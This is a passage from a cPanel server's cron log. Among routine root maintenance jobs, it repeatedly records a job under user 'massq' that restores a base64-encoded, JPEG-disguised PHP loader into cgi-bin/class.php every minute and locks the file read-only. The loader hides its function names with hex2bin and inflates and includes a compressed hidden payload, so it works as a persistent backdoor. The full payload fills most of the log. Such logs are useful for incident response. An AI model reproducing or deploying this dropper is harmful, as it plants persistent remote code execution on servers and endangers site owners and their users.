aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:05:01 server CROND[11818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:05:01 server CROND[11819]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 10:06:01 server CROND[12695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:06:01 server CROND[12697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:06:01 server CROND[12696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:07:01 server CROND[13070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:07:01 server CROND[13071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:07:01 server CROND[13072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:08:01 server CROND[13445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:08:01 server CROND[13446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:08:01 server CROND[13447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:09:01 server CROND[13940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:09:01 server CROND[13942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:09:01 server CROND[13941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:09:01 server CROND[13943]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 10:10:01 server CROND[14347]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 10:10:01 server CROND[14351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:10:01 server CROND[14353]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:10:01 server CROND[14363]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 10:10:01 server CROND[14369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:10:01 server CROND[14368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:10:01 server CROND[14367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:10:01 server CROND[14366]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 10:11:01 server CROND[15254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:11:01 server CROND[15255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:11:01 server CROND[15256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:12:01 server CROND[15630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:12:01 server CROND[15632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:12:01 server CROND[15631]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 10:12:01 server CROND[15633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:13:01 server CROND[16012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:13:01 server CROND[16014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:13:01 server CROND[16013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:14:01 server CROND[16395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:14:01 server CROND[16396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:14:01 server CROND[16397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:15:01 server CROND[16881]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 10:15:01 server CROND[16895]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:15:01 server CROND[16898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:15:01 server CROND[16899]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 10:15:01 server CROND[16902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:15:01 server CROND[16897]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 10:15:01 server CROND[16901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:15:01 server CROND[16896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:15:01 server CROND[16900]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 10:16:01 server CROND[17735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:16:01 server CROND[17736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:16:01 server CROND[17737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:17:01 server CROND[18123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
